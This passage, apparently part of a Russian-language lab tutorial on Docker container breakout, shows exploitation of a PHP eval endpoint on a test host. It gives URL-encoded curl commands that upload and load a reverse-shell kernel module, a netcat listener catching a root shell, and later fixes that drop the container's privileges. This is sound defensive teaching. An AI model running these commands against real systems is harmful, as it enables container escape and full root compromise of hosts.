199 | аргументом `code`, который передается только в качестве GET аргумента. И целевая программа абсолютно не умеет
200 | обрабатывать POST аргументы. Поэтому мы сформируем линк в котором в качестве значения аргумента `code` укажим программу,
201 | которая будет обрабатывать POST аргументы. Текст программы будет выглядить так:
202 |
203 | ```php
204 | move_uploaded_file($_FILES['shell']['tmp_name'], 'reverse-shell.ko');
205 | ```
206 |
207 | Произведем urlencoding этой строки и выполним получившийся запрос:
208 |
209 | ```
210 | vagrant@hacker:~$ curl -v -X POST 192.168.56.4/?code=move_uploaded_file%28%24_FILES%5B%27shell%27%5D%5B%27tmp_name%27%5D%2C%20%27reverse-shell.ko%27%29%3B \
211 | -F 'shell=@reverse-shell.ko'
212 | ```
213 |
214 | Откроем ещё один терминал на хосте `hacker` и запустим на нем netcat в режиме ожидания соединения:
215 |
216 | ```
217 | $ vagrant ssh hacker
218 | vagrant@hacker:~$ nc -vnlp 4444
219 | listening on [any] 4444 ...
220 | ```
221 |
222 | Теперь загрузим модуль:
223 |
224 | ```
225 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('insmod reverse-shell.ko');"
226 | Hello world!
227 |
228 | ```
229 |
230 | При этом во втором окне, там где мы запустили netcat, мы получим привилегированный shell на хостовой системе `victim`:
231 |
232 | ```
233 | vagrant@hacker:~$ nc -vnlp 4444
234 | listening on [any] 4444 ...
235 | connect to [192.168.56.5] from (UNKNOWN) [192.168.56.4] 39060
236 | bash: cannot set terminal process group (-1): Inappropriate ioctl for device
237 | bash: no job control in this shell
238 | root@victim:/# id
239 | id
240 | uid=0(root) gid=0(root) groups=0(root)
241 | root@victim:/# cat /home/vagrant/FLAG
242 | cat /home/vagrant/FLAG
243 | WAS HACKED
244 | ```
245 |
246 | ## Solution I
247 |
248 | Самым простым способом решения проблемы является запуск из под не привилегированного пользователя. Для реализации этого
249 | подхода на хосте `victim` откройте Dockerfile и добавим в него строку `USER 1000`:
250 |
251 | ```
252 | $ vagrant ssh victim
253 | vagrant@victim:~$ cd /vagrant/victim/
254 | vagrant@victim:/vagrant/victim$ docker-compose stop
255 | Stopping victim_webapp_1 ... done
256 | vagrant@victim:/vagrant/victim$ nano Dockerfile
257 | ...
258 | USER 1000
259 | ...
260 |
261 | vagrant@victim:/vagrant/victim$ docker-compose up --build -d
262 | Building webapp
263 | Step 1/5 : FROM php:7.4-cli
264 | ---> 639632eff06b
265 | Step 2/5 : WORKDIR /app
266 | ---> Using cache
267 | ---> 6cd15b0ede2b
268 | Step 3/5 : USER 1000
269 | ---> Running in 84916b1065ad
270 | Removing intermediate container 84916b1065ad
271 | ---> 07fe5524f58b
272 | Step 4/5 : COPY index.php index.php
273 | ---> 789aa580e832
274 | Step 5/5 : CMD [ "php", "-S", "0.0.0.0:80" ]
275 | ---> Running in fd3e54dd7ef2
276 | Removing intermediate container fd3e54dd7ef2
277 | ---> 3afd0af1371b
278 |
279 | Successfully built 3afd0af1371b
280 | Successfully tagged victim_webapp:latest
281 | Recreating victim_webapp_1 ... done
282 | ```
283 |
284 | Теперь выполним проверку с хоста `hacker`:
285 |
286 | ```
287 | $ vagrant ssh hacker
288 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');"
289 | Hello world!
290 | uid=1000 gid=0(root) groups=0(root)
291 |
292 | ```
293 |
294 | Как мы видим приложение запущено из под пользователя с UID=1000. Тем не менее попробуем установить необходимые пакеты:
295 |
296 | ```
297 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('apt-get update 2>&1 && apt-get install -y libcap2-bin kmod 2>&1');"
298 | Hello world!
299 | Reading package lists...
300 | E: List directory /var/lib/apt/lists/partial is missing. - Acquire (13: Permission denied)
301 |
302 | ```
303 |
304 | Несмотря на то что установить `kmod` не удалось попробуем загрузить модуль
305 |
306 | ```
307 | vagrant@hacker:~$ cd /vagrant/hacker/
308 | vagrant@hacker:/vagrant/hacker$ curl -X POST 192.168.56.4/?code=move_uploaded_file%28%24_FILES%5B%27shell%27%5D%5B%27tmp_name%27%5D%2C%20%27reverse-shell.ko%27%29%3B -F 'shell=@reverse-shell.ko'
309 | Hello world!
310 |
311 | Warning: move_uploaded_file(reverse-shell.ko): failed to open stream: Permission denied in /app/index.php(3) : eval()'d code on line 1
312 |
313 | Warning: move_uploaded_file(): Unable to move '/tmp/phpXpL5E6' to 'reverse-shell.ko' in /app/index.php(3) : eval()'d code on line 1
314 |
315 | ```
316 |
317 | В лоб загрузить не удалось. Есть возможность попробовать загрузить в папку `tmp`. Но да же после этого выполнить
318 | команду `insmod` не удасться.
319 |
320 | 1. kmod - не установлен и команды `insmod` просто нет
321 | 2. У не привелигированного пользователя нет прав для выполнения этой операции.
322 |
323 | ## Solution II
324 |
325 | Не всегда есть возможность запускать docker-контейнер сразу из под не привилегированного пользователя. Иногда перед
326 | запуском основного приложения необходимо выполнить ряд операций необходимых для его работы. Например:
327 |
328 | - создать директории для логов или изменить их владельца;
329 | - сгенерировать конфигурационные файлы;
330 | - и пр.
331 |
332 | Для выполнения этих функций используются init-скрипт, который копируются в docker-образ во время build и запускается как
333 | `entrypoint`. Чаще всего выполнять этот init-скрипт необходимо из под привилегированного пользователя. А переход к
334 | выполнению основного приложения происходит при помощи команды `exec`. Это необходимо для того что бы процесс с PID=1
335 | продолжил существовать.
336 |
337 | Большинство серверных приложений (Например nginx, apache и тп.)
338 | после запуска мастер-процесса запускает воркеры из под не привилегированного пользователя. К сожалению не все приложения
339 | ведут себя таким образом.
340 |
341 | Для того, что бы реализовать запуск от имени не привилегированного пользователя предлагаю добавить в init-скрипт
342 | конструкцию аналогичную приведённой ниже:
343 |
344 | ```
345 | #!/bin/sh
346 |
347 |
348 |
349 | useradd -M -u 1000 -s /usr/sbin/nologin web
350 |
351 | exec sudo -u web "$@"
352 | ```
353 |
354 | Для реализации этого метода нам необходимо добавить в образ команду
355 | `sudo`.
356 |
357 | Теперь зайдём на хост `victim` и отредактируем `Dockerfile`
358 | добавим в него следующие строки:
359 |
360 | ```
361 | $ vagrant ssh victim
362 | vagrant@victim:~$ cd /vagrant/victim/
363 | vagrant@victim:/vagrant/victim$ docker-compose stop
364 | Stopping victim_webapp_1 ... done
365 | vagrant@victim:/vagrant/victim$ nano Dockerfile
366 | ...
367 | RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/*
368 | COPY init /usr/local/bin/
369 | ENTRYPOINT ["/usr/local/bin/init"]
370 | ...
371 |
372 | ```
373 |
374 | Теперь вновь запустим docker-compose:
375 |
376 | ```
377 | vagrant@victim:/vagrant/victim$ docker-compose up --build -d
378 | Building webapp
379 | Step 1/7 : FROM php:7.4-cli
380 | ---> 639632eff06b
381 | Step 2/7 : WORKDIR /app
382 | ---> Using cache
383 | ---> 6cd15b0ede2b
384 | Step 3/7 : COPY index.php index.php
385 | ---> Using cache
386 | ---> 5dca7eea1c20
387 | Step 4/7 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/*
388 | ---> Using cache
389 | ---> 2c7e7373d41d
390 | Step 5/7 : COPY init /usr/local/bin/
391 | ---> 39176282c378
392 | Step 6/7 : ENTRYPOINT ["/usr/local/bin/init"]
393 | ---> Running in e91eff9f90d6
394 | Removing intermediate container e91eff9f90d6
395 | ---> 74aaf39f199d
396 | Step 7/7 : CMD [ "/usr/local/bin/php", "-S", "0.0.0.0:8080" ]
397 | ---> Running in f8f0f773dcb0
398 | Removing intermediate container f8f0f773dcb0
399 | ---> 830927363205
400 |
401 | Successfully built 830927363205
402 | Successfully tagged victim_webapp:latest
403 | Recreating victim_webapp_1 ... done
404 | ```
405 |
406 | Зайдём на хост `hacker` и проверим из под какого пользователя запущен наш web-сервер:
407 |
408 | ```
409 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');"
410 | Hello world!
411 | uid=1000(web) gid=1000(web) groups=1000(web)
412 |
413 | ```
414 |
415 | Недостатком данного способа является:
416 |
417 | - Необходимость добавления sudo в docker-образ
418 | - В результате работы конструкции `exec sudo` создаётся два процесса. Так как `sudo` работает через fork:
419 |
420 | ```
421 | ps aux
422 | USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
423 | root 1 0.0 0.4 6936 2224 ? Ss 16:24 0:00 sudo -u web /usr/local/bin/php -S 0.0.0.0:8080
424 | web 13 0.0 3.8 80160 18840 ? S 16:24 0:00 /usr/local/bin/php -S 0.0.0.0:8080
425 | ```
426 |
427 | ## links
428 |
429 | - https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host
430 | - https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
431 |
--------------------------------------------------------------------------------